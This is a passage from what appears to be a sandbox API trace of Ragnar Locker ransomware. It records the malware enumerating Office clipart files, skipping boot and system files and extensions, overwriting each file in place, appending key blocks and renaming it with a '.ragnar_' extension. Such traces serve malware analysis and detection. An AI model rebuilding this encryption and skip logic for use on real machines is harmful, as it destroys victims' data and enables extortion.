lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" [0087.598] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.ragnar_FD7BD9FC" [0087.598] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.599] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0087.599] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.599] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0304861.WMF" | out: lpString1="J0304861.WMF") returned="J0304861.WMF" [0087.599] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF") returned=".WMF" [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="autorun.inf") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="boot.ini") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="bootfont.bin") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="bootsect.bak") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="bootmgr") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="bootmgr.efi") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="bootmgfw.efi") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="desktop.ini") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="iconcache.db") returned 1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="ntldr") returned -1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="ntuser.dat") returned -1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="ntuser.dat.log") returned -1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="ntuser.ini") returned -1 [0087.599] lstrcmpiW (lpString1="J0304861.WMF", lpString2="thumbs.db") returned -1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.599] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf")) returned 0x20 [0087.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.600] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11512) returned 1 [0087.600] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.601] GetProcessHeap () returned 0x580000 [0087.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.601] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2cf8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.602] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2cf8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2cf8, lpOverlapped=0x0) returned 1 [0087.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cf8, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.603] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2cf8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2cf8, lpOverlapped=0x0) returned 1 [0087.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cf8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.603] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.604] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.604] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.604] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.604] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.604] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.604] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.604] GetProcessHeap () returned 0x580000 [0087.604] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.604] CloseHandle (hObject=0xf4) returned 1 [0087.604] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" [0087.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.ragnar_FD7BD9FC" [0087.604] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0087.605] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.605] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0304875.WMF" | out: lpString1="J0304875.WMF") returned="J0304875.WMF" [0087.605] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF") returned=".WMF" [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="autorun.inf") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="boot.ini") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="bootfont.bin") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="bootsect.bak") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="bootmgr") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="bootmgr.efi") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="bootmgfw.efi") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="desktop.ini") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="iconcache.db") returned 1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="ntldr") returned -1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="ntuser.dat") returned -1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="ntuser.dat.log") returned -1 [0087.605] lstrcmpiW (lpString1="J0304875.WMF", lpString2="ntuser.ini") returned -1 [0087.606] lstrcmpiW (lpString1="J0304875.WMF", lpString2="thumbs.db") returned -1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.606] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf")) returned 0x20 [0087.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.607] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20366) returned 1 [0087.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.607] GetProcessHeap () returned 0x580000 [0087.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.607] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.608] VirtualAlloc (lpAddress=0x0, dwSize=0x4f8e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.609] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f8e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f8e, lpOverlapped=0x0) returned 1 [0087.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f8e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.610] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f8e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f8e, lpOverlapped=0x0) returned 1 [0087.610] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f8e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.610] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.611] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.611] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.611] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.611] GetProcessHeap () returned 0x580000 [0087.611] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.611] CloseHandle (hObject=0xf4) returned 1 [0087.611] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" [0087.611] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.ragnar_FD7BD9FC" [0087.611] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0087.612] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.612] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309480.JPG" | out: lpString1="J0309480.JPG") returned="J0309480.JPG" [0087.612] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG") returned=".JPG" [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="autorun.inf") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="boot.ini") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="bootfont.bin") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="bootsect.bak") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="bootmgr") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="bootmgr.efi") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="bootmgfw.efi") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="desktop.ini") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="iconcache.db") returned 1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="ntldr") returned -1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="ntuser.dat") returned -1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="ntuser.dat.log") returned -1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="ntuser.ini") returned -1 [0087.612] lstrcmpiW (lpString1="J0309480.JPG", lpString2="thumbs.db") returned -1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.612] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg")) returned 0x20 [0087.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.613] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10692) returned 1 [0087.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.613] GetProcessHeap () returned 0x580000 [0087.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.613] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.614] VirtualAlloc (lpAddress=0x0, dwSize=0x29c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.615] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x29c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x29c4, lpOverlapped=0x0) returned 1 [0087.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.616] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x29c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x29c4, lpOverlapped=0x0) returned 1 [0087.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.616] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.616] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.616] GetProcessHeap () returned 0x580000 [0087.616] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.616] CloseHandle (hObject=0xf4) returned 1 [0087.617] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" [0087.617] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.ragnar_FD7BD9FC" [0087.617] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 